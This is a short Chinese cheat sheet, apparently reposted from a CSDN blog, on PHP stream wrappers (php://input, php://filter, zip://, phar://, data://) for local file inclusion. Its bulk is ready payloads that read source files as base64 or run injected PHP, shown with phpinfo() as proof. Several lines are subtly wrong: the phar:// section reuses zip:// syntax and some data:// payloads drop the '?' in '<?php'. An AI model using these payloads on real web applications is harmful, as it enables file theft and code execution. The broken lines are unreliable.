跳转至

常见的 php 伪协议

原文地址 blog.csdn.net

1、php://input

可以获取 POST 的数据流

PHP
1
2
3
4
5
6
7
条件:
allow_url_include=On
allow_url_fopen-Off/On

POC:
file =php://input
POST:phpinfo();

2、php://filter

可以获取指定文件的源码,但是当他与包含函数结合是,php://filter 流会被当做 php 文件执行
。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取

PHP
1
2
3
4
5
6
7
条件:
allow_url_fopen=Off/On
allow_url_include=Off/On


POC:
?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

3、zip://

可以访问压缩包里的文件。当他与包含函数结合时,zip:// 流会被当做 php 文件执行。
从而实现任意文件执行。
同类型的还有:zlib:// 和 bzip2://

PHP
1
2
3
4
5
6
7
8
9
条件:
必须要zip压缩包(后缀无所谓,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2

POC:
zip://[压缩包绝对路径]#[压缩包内的文件]
?file=zip://D:\zip.zip%23phpinfo.txt

4、phar://

和 zip:// 类似
绝对路径和相对路径都可以

PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
条件:
必须要zip压缩包(后缀无所谓,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2


POC:
zip://[压缩包绝对路径]#[压缩包内的文件]
?file=zip://D:\zip.zip/phpinfo.php(与zip://不同之处在于一个是# ,一个是/)

5、data://

同样类似于 php://input

PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
条件:
allow_url_fopen=On
allow_url_include=On


POC:
?file=data://,<?php phpinfo();
?file=data://text/plain,<php phpinfo();
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<php phpinfo();
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=